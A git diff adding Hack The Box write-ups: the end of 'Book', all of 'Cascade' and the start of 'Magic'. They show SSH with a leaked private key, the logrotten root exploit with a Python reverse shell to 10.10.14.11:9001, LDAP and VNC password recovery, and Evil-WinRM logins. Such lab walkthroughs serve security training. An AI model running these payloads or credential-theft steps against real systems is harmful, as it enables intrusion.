75I5d5Holg7ME40BU06Eq0E3EOY6whCPlzndVwIDAQABAoIBAQCs+kh7hihAbIi7 + 3mxvPeKok6BSsvqJD7aw72FUbNSusbzRWwXjrP8ke/Pukg/OmDETXmtgToFwxsD+ + McKIrDvq/gVEnNiE47ckXxVZqDVR7jvvjVhkQGRcXWQfgHThhPWHJI+3iuQRwzUI + tIGcAaz3dTODgDO04Qc33+U9WeowqpOaqg9rWn00vgzOIjDgeGnbzr9ERdiuX6WJ + jhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHK5PMxiyJSQLiCbTBI/DurhMelbFX50/owz + 7Qd2hMSr7qJVdfCQjkmE3x/L37YQEnQph6lcPzvVGOEGQzkuu4ljFkYz6sZ8GMx6 + GZYD7sW5AoGBAO89fhOZC8osdYwOAISAk1vjmW9ZSPLYsmTmk3A7jOwke0o8/4FL + E2vk2W5a9R6N5bEb9yvSt378snyrZGWpaIOWJADu+9xpZScZZ9imHHZiPlSNbc8/ + ciqzwDZfSg5QLoe8CV/7sL2nKBRYBQVL6D8SBRPTIR+J/wHRtKt5PkxjAoGBAOe+ + SRM/Abh5xub6zThrkIRnFgcYEf5CmVJX9IgPnwgWPHGcwUjKEH5pwpei6Sv8et7l + skGl3dh4M/2Tgl/gYPwUKI4ori5OMRWykGANbLAt+Diz9mA3FQIi26ickgD2fv+V + o5GVjWTOlfEj74k8hC6GjzWHna0pSlBEiAEF6Xt9AoGAZCDjdIZYhdxHsj9l/g7m + Hc5LOGww+NqzB0HtsUprN6YpJ7AR6+YlEcItMl/FOW2AFbkzoNbHT9GpTj5ZfacC + hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4MdsihUlpInwf4S2k8J+fVHJl4IjT80u + Pb9n+p0hvtZ9sSA4so/DACsCgYEA1y1ERO6X9mZ8XTQ7IUwfIBFnzqZ27pOAMYkh + sMRwcd3TudpHTgLxVa91076cqw8AN78nyPTuDHVwMN+qisOYyfcdwQHc2XoY8YCf + tdBBP0Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVc/zLi + 5bBLnzECgYEAlLiYGzP92qdmlKLLWS7nPM0YzhbN9q0qC3ztk/+1v8pjj162pnlW + y1K/LbqIV3C01ruxVBOV7ivUYrRkxR/u5QbS3WxOnK0FYjlS7UUAc4r0zMfWT9TN + nkeaf9obYKsrORVuKKVNFzrWeXcVx+oG3NisSABIprhDfKUSbHzLIR4= + -----END RSA PRIVATE KEY----- + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book] + → chmod 600 reader.pkey + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book] + → ssh reader@10.10.10.176 -i reader.pkey + Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Thu Jun 24 07:46:19 UTC 2021 + + System load: 0.0 Processes: 142 + Usage of /: 26.6% of 19.56GB Users logged in: 0 + Memory usage: 22% IP address for ens33: 10.10.10.176 + Swap usage: 0% + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 114 packages can be updated. + 0 updates are security updates. + + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + + Last login: Wed Jan 29 13:03:06 2020 from 10.10.14.3 + reader@book:~$ cat user.txt + 0cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we managed to login as the reader user! We got the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc we need to upload linpeas.sh onto the box: + + + [terminal1] + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book] + → cp /home/nothing/HTB/obscurity/linpeas.sh . + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal2] + reader@book:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh + --2021-06-24 07:48:11-- http://10.10.14.11:9090/linpeas.sh + Connecting to 10.10.14.11:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[========================================================================================================================================>] 333.85K 174KB/s in 1.9s + + 2021-06-24 07:48:14 (174 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863] + + reader@book:~$ chmod +x /tmp/peas.sh + reader@book:~$ /tmp/peas.sh + + +` ![](prg/53_016.png) + +Here we let it run, and then scrolling through the output we see the following logrotate cronjob hint: + +![](prg/53_017.png) + +we can also find it using pspy: + + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book] + → cp /home/nothing/HTB/Traceback/pspy64s . + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + reader@book:~$ wget http://10.10.14.11:9090/pspy64s -O /tmp/pspy + --2021-06-24 07:56:17-- http://10.10.14.11:9090/pspy64s + Connecting to 10.10.14.11:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 1156536 (1.1M) [application/octet-stream] + Saving to: ‘/tmp/pspy’ + + /tmp/pspy 100%[========================================================================================================================================>] 1.10M 386KB/s in 2.9s + + 2021-06-24 07:56:21 (386 KB/s) - ‘/tmp/pspy’ saved [1156536/1156536] + + reader@book:~$ chmod +x /tmp/pspy + reader@book:~$ /tmp/pspy + + +` ![](prg/53_018.png) + +Let it run for a while and then you will see the following: + +![](prg/53_019.png) + +Trying to get some more details on logrotate we see the following: + + + reader@book:~$ cd /var/lib/logrotate/ + reader@book:/var/lib/logrotate$ ls -l + total 4 + -rw-r--r-- 1 root root 81 Jun 24 07:59 status + reader@book:/var/lib/logrotate$ cat status + logrotate state -- version 2 + "/home/reader/backups/access.log" 2020-1-29-13:5:29 + + reader@book:/var/lib/logrotate$ logrotate --version + logrotate 3.11.0 + + +To exploit this we're going to use [logrotten](https://github.com/whotwagner/logrotten)exploit and apparently logrotate 3.11.0 is supported, so let's test it out: + + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book] + → wget https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c + --2021-06-24 09:55:54-- https://raw.githubusercontent.com/whotwagner/logrotten/master/logrotten.c + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.199.109.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 7342 (7.2K) [text/plain] + Saving to: ‘logrotten.c’ + + logrotten.c 100%[===============================================>] 7.17K --.-KB/s in 0.007s + + 2021-06-24 09:55:56 (1.06 MB/s) - ‘logrotten.c’ saved [7342/7342] + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + reader@book:/var/lib/logrotate$ cd /tmp + reader@book:/tmp$ which gcc + /usr/bin/gcc + reader@book:/tmp$ wget http://10.10.14.11:9090/logrotten.c + --2021-06-24 08:04:48-- http://10.10.14.11:9090/logrotten.c + Connecting to 10.10.14.11:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 7342 (7.2K) [text/x-csrc] + Saving to: ‘logrotten.c’ + + logrotten.c 100%[========================================================================================================================================>] 7.17K --.-KB/s in 0.01s + + 2021-06-24 08:04:49 (513 KB/s) - ‘logrotten.c’ saved [7342/7342] + + reader@book:/tmp$ gcc -o logrotten logrotten.c + reader@book:/tmp$ ls -lash logrotten* + 20K -rwxrwxr-x 1 reader reader 18K Jun 24 08:05 logrotten + 8.0K -rw-rw-r-- 1 reader reader 7.2K Jun 24 07:55 logrotten.c + + + +Then we need our reverse shell payload, obviously prepare the reverse shell listener aswell:: + + + [terminal 1] + reader@book:/tmp$ cat payloadfile + #!/bin/bash + python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' + + [terminal 2] + [ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/book] + → nc -lvnp 9001 + listening on [any] 9001 ... + + + +and do the following: + + + reader@book:/tmp$ echo test >> /home/reader/backups/access.log; ./logrotten -p payloadfile /home/reader/backups/access.log + Waiting for rotating /home/reader/backups/access.log... + Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d + Waiting 1 seconds before writing payload... + Done! + + +So from here the payload has been written into access.log: + + + reader@book:/tmp$ ls -l /etc/bash_completion.d/ + total 32 + -r-xr-xr-x 1 reader reader 237 Jun 24 08:10 access.log + -rw-r--r-- 1 root root 6636 Nov 20 2017 apport_completion + -rw-r--r-- 1 root root 3211 Oct 2 2018 cloud-init + -rw-r--r-- 1 root root 439 Nov 26 2018 git-prompt + -rw-r--r-- 1 root root 11144 Mar 18 2019 grub + reader@book:/tmp$ cat /etc/bash_completion.d/access.log + #!/bin/bash + python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' + + +And since this is done, we only need to wait a bit until we get the reverse shell connection: + + + [ 10.10.14.11/23 ] [ /dev/pts/20 ] [~/HTB/book] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.176] 58930 + root@book:~# cat /root/root.txt + cat /root/root.txt + 00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/53_graph.png) + diff --git a/Medium/54.md b/Medium/54.md new file mode 100644 index 0000000..5b4bdbb --- /dev/null +++ b/Medium/54.md @@ -0,0 +1,524 @@ +# Cascade Writeup + +![](img/54.png) + +## Introduction : + +Cascade is a Medium Windows box released back in March 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/cascade] + → nmap -vvv -p- 10.10.10.182 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 53/tcp on 10.10.10.182 + Discovered open port 135/tcp on 10.10.10.182 + Discovered open port 445/tcp on 10.10.10.182 + Discovered open port 139/tcp on 10.10.10.182 + Discovered open port 5985/tcp on 10.10.10.182 + Discovered open port 49158/tcp on 10.10.10.182 + Discovered open port 49154/tcp on 10.10.10.182 + Discovered open port 49157/tcp on 10.10.10.182 + Discovered open port 3269/tcp on 10.10.10.182 + Discovered open port 49155/tcp on 10.10.10.182 + Discovered open port 3268/tcp on 10.10.10.182 + Discovered open port 49170/tcp on 10.10.10.182 + Discovered open port 88/tcp on 10.10.10.182 + Discovered open port 636/tcp on 10.10.10.182 + Discovered open port 389/tcp on 10.10.10.182 + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → nmap -sCV -p 53,135,445,139,3269,636,389 -Pn 10.10.10.182 + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-24 12:27 CEST + Nmap scan report for 10.10.10.182 + Host is up (0.45s latency). + + PORT STATE SERVICE VERSION + 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) + | dns-nsid: + |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) + 445/tcp open microsoft-ds? + 636/tcp open tcpwrapped + 3269/tcp open tcpwrapped + Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: 8m04s + | smb2-security-mode: + | 2.02: + |_ Message signing enabled and required + | smb2-time: + | date: 2021-06-24T10:36:29 + |_ start_date: 2021-06-24T08:24:15 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 84.94 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up the LDAP ports (389,636) so let's investigate them: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → ldapsearch -x -h 10.10.10.182 -s base + # extended LDIF + # + # LDAPv3 + # base (default) with scope baseObject + # filter: (objectclass=*) + # requesting: ALL + # + + # + dn: + currentTime: 20210624104011.0Z + subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=cascade,DC=local + dsServiceName: CN=NTDS Settings,CN=CASC-DC1,CN=Servers,CN=Default-First-Site-N + ame,CN=Sites,CN=Configuration,DC=cascade,DC=local + namingContexts: DC=cascade,DC=local + namingContexts: CN=Configuration,DC=cascade,DC=local + namingContexts: CN=Schema,CN=Configuration,DC=cascade,DC=local + namingContexts: DC=DomainDnsZones,DC=cascade,DC=local + namingContexts: DC=ForestDnsZones,DC=cascade,DC=local + defaultNamingContext: DC=cascade,DC=local + + [...] + + + +So we 're going to fetch from DC=cascade,DC=local: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → ldapsearch -x -h 10.10.10.182 -b 'DC=cascade,DC=local' > ldap.enum + + + +It produces alot of output so let's grep the interesting things out of it: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → ldapsearch -x -h 10.10.10.182 -b 'DC=cascade,DC=local' > ldap.enum + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → cat ldap.enum| grep -i pwd | grep -ve "Last" + maxPwdAge: -9223372036854775808 + minPwdAge: 0 + minPwdLength: 5 + pwdProperties: 0 + pwdHistoryLength: 0 + badPwdCount: 0 + maxPwdAge: -37108517437440 + minPwdAge: 0 + minPwdLength: 0 + pwdProperties: 0 + pwdHistoryLength: 0 + badPwdCount: 0 + badPwdCount: 0 + badPwdCount: 0 + badPwdCount: 0 + cascadeLegacyPwd: clk0bjVldmE= + badPwdCount: 0 + badPwdCount: 0 + badPwdCount: 0 + badPwdCount: 0 + badPwdCount: 0 + badPwdCount: 0 + badPwdCount: 0 + badPwdCount: 0 + badPwdCount: 0 + badPwdCount: 0 + badPwdCount: 0 + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → echo 'clk0bjVldmE=' | base64 -d + rY4n5eva% + + +So here we have a password. But we don't know whose password it is, so let's grep the lines above **cascadeLegacyPwd** + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → cat ldap.enum| grep -B 15 'cascadeLegacyPwd' + primaryGroupID: 513 + objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFVQQAAA== + accountExpires: 9223372036854775807 + logonCount: 2 + sAMAccountName: r.thompson + sAMAccountType: 805306368 + userPrincipalName: r.thompson@cascade.local + objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=cascade,DC=local + dSCorePropagationData: 20200126183918.0Z + dSCorePropagationData: 20200119174753.0Z + dSCorePropagationData: 20200119174719.0Z + dSCorePropagationData: 20200119174508.0Z + dSCorePropagationData: 16010101000000.0Z + lastLogonTimestamp: 132294360317419816 + msDS-SupportedEncryptionTypes: 0 + cascadeLegacyPwd: clk0bjVldmE= + + + +Now we know that this is r.thompson's password, so let's try to login via SMB: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → smbclient -U 'r.thompson' -L \\\\10.10.10.182\\ + Enter WORKGROUP\r.thompson's password: **rY4n5eva** + + Sharename Type Comment + --------- ---- ------- + ADMIN$ Disk Remote Admin + Audit$ Disk + C$ Disk Default share + Data Disk + IPC$ IPC Remote IPC + NETLOGON Disk Logon server share + print$ Disk Printer Drivers + SYSVOL Disk Logon server share + SMB1 disabled -- no workgroup available + + +Let's get everything we can from the Data share: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → smbclient -U 'r.thompson' \\\\10.10.10.182\\Data + Enter WORKGROUP\r.thompson's password: + Try "help" to get a list of possible commands. + smb: \> recurse on + smb: \> prompt off + smb: \> mget * + NT_STATUS_ACCESS_DENIED listing \Contractors\* + NT_STATUS_ACCESS_DENIED listing \Finance\* + NT_STATUS_ACCESS_DENIED listing \Production\* + NT_STATUS_ACCESS_DENIED listing \Temps\* + getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as IT/Email Archives/Meeting_Notes_June_2018.html (1.0 KiloBytes/sec) (average 1.0 KiloBytes/sec) + getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log (0.7 KiloBytes/sec) (average 0.9 KiloBytes/sec) + getting file \IT\Logs\DCs\dcdiag.log of size 5967 as IT/Logs/DCs/dcdiag.log (2.6 KiloBytes/sec) (average 1.5 KiloBytes/sec) + getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as IT/Temp/s.smith/VNC Install.reg (1.5 KiloBytes/sec) (average 1.5 KiloBytes/sec) + smb: \> exit + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → tree + . + ├── Contractors + ├── Finance + ├── **IT** + │   ├── Email Archives + │   │   └── Meeting_Notes_June_2018.html + │   ├── LogonAudit + │   ├── Logs + │   │   ├── Ark AD Recycle Bin + │   │   │   └── ArkAdRecycleBin.log + │   │   └── DCs + │   │   └── dcdiag.log + │   └── **Temp** + │   ├── r.thompson + │   └── **s.smith** + │   └── **VNC Install.reg** + ├── ldap.enum + ├── Production + └── Temps + + 13 directories, 5 files + + + +Here we see VNC Install.reg which looks interesting: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → cat IT/Temp/s.smith/VNC\ Install.reg + Windows Registry Editor Version 5.00 + + [HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC] + + [HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server] + "ExtraPorts"="" + "QueryTimeout"=dword:0000001e + "QueryAcceptOnTimeout"=dword:00000000 + [...] + + "Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f + + [...] + + + +Now the password string seems to be an encoded string which is also hex encoded. After googling a bit, we see [here](https://github.com/frizb/PasswordDecrypts) that VNC uses the hardcoded key **"\x17\x52\x6b\x06\x23\x4e\x58\x07"** to encrypt passwords, so let's decrypt it with metasploit: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → msfconsole + + ___ ____ + ,-"" `. < HONK > + ,' _ e )`-._ / ---- + / ,' `-._v.===-' + / / + / ; + _ / ; + (`._ _.-"" ""--..__,' | + v_ `-"" \ + v`- : + (__ v__. ; + `-. '-.__. _.' / + \ `-.__,-' _,' + `._ , /__,-' + ""._\__,'v v____ + | | `----.`. + | | \ `. + ; |___ \-`` + \ --v + `.`.v + `-' + + + + =[ metasploit v6.0.48-dev ] + + -- --=[ 2139 exploits - 1139 auxiliary - 365 post ] + + -- --=[ 592 payloads - 45 encoders - 10 nops ] + + -- --=[ 8 evasion ] + + Metasploit tip: Save the current environment with the + save command, future console restarts will use this + environment again + + msf6 > irb + [*] Starting IRB shell... + [*] You are in the "framework" object + + irb: warn: can't alias jobs from irb_jobs. + >> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07" + >> require 'rex/proto/rfb' + => false + >> Rex::Proto::RFB::Cipher.decrypt ["6bcf2a4b6e5aca0f"].pack('H*'), fixedkey + => "sT333ve2" + >> + + + +Now if for some reason you can't do it inside metasploit's irb shell, just do it with native linux tools: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv + + 00000000 73 54 33 33 33 76 65 32 |sT333ve2| + 00000008 + + + +And there you go! We managed to get a password, since the the VNC file was in s.smith's directory, let's try to use that password to login via SMB: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → smbclient -U 's.smith' \\\\10.10.10.182\\Audit$ + Enter WORKGROUP\s.smith's password: + Try "help" to get a list of possible commands. + smb: \> ls + . D 0 Wed Jan 29 19:01:26 2020 + .. D 0 Wed Jan 29 19:01:26 2020 + CascAudit.exe An 13312 Tue Jan 28 22:46:51 2020 + CascCrypto.dll An 12288 Wed Jan 29 19:00:20 2020 + DB D 0 Tue Jan 28 22:40:59 2020 + RunAudit.bat A 45 Wed Jan 29 00:29:47 2020 + System.Data.SQLite.dll A 363520 Sun Oct 27 07:38:36 2019 + System.Data.SQLite.EF6.dll A 186880 Sun Oct 27 07:38:38 2019 + x64 D 0 Sun Jan 26 23:25:27 2020 + x86 D 0 Sun Jan 26 23:25:27 2020 + + 13106687 blocks of size 4096. 8167789 blocks available + smb: \> cd DB + smb: \DB\> ls + . D 0 Tue Jan 28 22:40:59 2020 + .. D 0 Tue Jan 28 22:40:59 2020 + Audit.db An 24576 Tue Jan 28 22:39:24 2020 + + 13106687 blocks of size 4096. 8167789 blocks available + smb: \DB\> get Audit.db + getting file \DB\Audit.db of size 24576 as Audit.db (6.7 KiloBytes/sec) (average 6.7 KiloBytes/sec) + + +After logging in as s.smith via SMB we see a sqlite3 file called Audit.db, so let's inspect it: + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → file Audit.db + Audit.db: SQLite 3.x database, last written using SQLite version 3027002 + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → sqlite3 Audit.db + SQLite version 3.34.1 2021-01-20 14:10:07 + Enter ".help" for usage hints. + sqlite> .tables + DeletedUserAudit Ldap Misc + sqlite> select * from Ldap; + **1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local** + + + +Now if we google **BQO5l5Kj9MdErXx6Q6AGOw==** we stumble upon the following C# piece of code[here](https://dotnetfiddle.net/2RDoWz) and at the bottom we see a password **w3lc0meFr31nd** so we try to use it to login with the associated user **ArkSvc** : + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/cascade] + → evil-winrm -u ArkSvc -p 'w3lc0meFr31nd' -i 10.10.10.182 + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\arksvc\Documents> + + + +And we managed to get a shell onto the box! + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the Administrator user we need to take a look at the current user's Group Memberships: + + + *Evil-WinRM* PS C:\Users\arksvc> net user arksvc + User name arksvc + Full Name ArkSvc + Comment + User's comment + Country code 000 (System Default) + Account active Yes + Account expires Never + + Password last set 1/9/2020 5:18:20 PM + Password expires Never + Password changeable 1/9/2020 5:18:20 PM + Password required Yes + User may change password No + + Workstations allowed All + Logon script + User profile + Home directory + Last logon 1/29/2020 10:05:40 PM + + Logon hours allowed All + + Local Group Memberships *AD Recycle Bin *IT + *Remote Management Use + Global Group memberships *Domain Users + The command completed successfully. + + +iHere we see that arksvc is a member of the **AD Recycle Bin** group. So we should be able to reover deleted items from the machine: + + + *Evil-WinRM* PS C:\Users\arksvc> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects + + [...] + + Deleted : True + DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local + **Name : TempAdmin** + DEL:f0cc344d-31e0-4866-bceb-a842791ca059 + ObjectClass : user + ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059 + + +Here we see something interesting with the name 'TempAdmin' so let's dig deeper: + + + *Evil-WinRM* PS C:\Users\arksvc> Get-ADObject -filter 'displayName -eq "TempAdmin"' -includeDeletedObjects -Property * + + + accountExpires : 9223372036854775807 + badPasswordTime : 0 + badPwdCount : 0 + CanonicalName : cascade.local/Deleted Objects/TempAdmin + DEL:f0cc344d-31e0-4866-bceb-a842791ca059 + **cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz** + CN : TempAdmin + DEL:f0cc344d-31e0-4866-bceb-a842791ca059 + codePage : 0 + countryCode : 0 + Created : 1/27/2020 3:23:08 AM + createTimeStamp : 1/27/2020 3:23:08 AM + Deleted : True + Description : + DisplayName : TempAdmin + DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local + dSCorePropagationData : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM} + givenName : TempAdmin + instanceType : 4 + isDeleted : True + LastKnownParent : OU=Users,OU=UK,DC=cascade,DC=local + lastLogoff : 0 + lastLogon : 0 + logonCount : 0 + Modified : 1/27/2020 3:24:34 AM + modifyTimeStamp : 1/27/2020 3:24:34 AM + msDS-LastKnownRDN : TempAdmin + Name : TempAdmin + DEL:f0cc344d-31e0-4866-bceb-a842791ca059 + nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity + ObjectCategory : + ObjectClass : user + ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059 + objectSid : S-1-5-21-3332504370-1206983947-1165150453-1136 + primaryGroupID : 513 + ProtectedFromAccidentalDeletion : False + pwdLastSet : 132245689883479503 + sAMAccountName : TempAdmin + sDRightsEffective : 0 + userAccountControl : 66048 + userPrincipalName : TempAdmin@cascade.local + uSNChanged : 237705 + uSNCreated : 237695 + whenChanged : 1/27/2020 3:24:34 AM + whenCreated : 1/27/2020 3:23:08 AM + + +Same as before, we see the **cascadeLegacyPwd** password in base64, so we decode it: + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/cascade] + → echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d + baCT3r1aN00dles + + + +let's see if this is the correct Administrator password: + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/cascade] + → evil-winrm -u Administrator -p 'baCT3r1aN00dles' -i 10.10.10.182 + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../../ + + *Evil-WinRM* PS C:\Users> type Administrator\Desktop\root.txt + 94XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + *Evil-WinRM* PS C:\Users> type s.smith\Desktop\user.txt + 75XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there you go! We managed to get to the Administrator user of the box and print both flags. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/54_graph.png) + diff --git a/Medium/55.md b/Medium/55.md new file mode 100644 index 0000000..75f0d16 --- /dev/null +++ b/Medium/55.md @@ -0,0 +1,534 @@ +# Magic Writeup + +![](img/55.png) + +## Introduction : + +Magic is a Medium Linux box released back in April 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → nmap -vvv -p- 10.10.10.185 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.185 + Discovered open port 80/tcp on 10.10.10.185 + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic] + → nmap -sCV -p22,80 10.10.10.185 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-24 15:26 CEST + Nmap scan report for 10.10.10.185 + Host is up (0.45s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA) + | 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA) + |_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: Magic Portfolio + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 29.24 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + + + [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~] + → gobuster dir -u http://10.10.10.185 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.185 + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Timeout: 10s + =============================================================== + 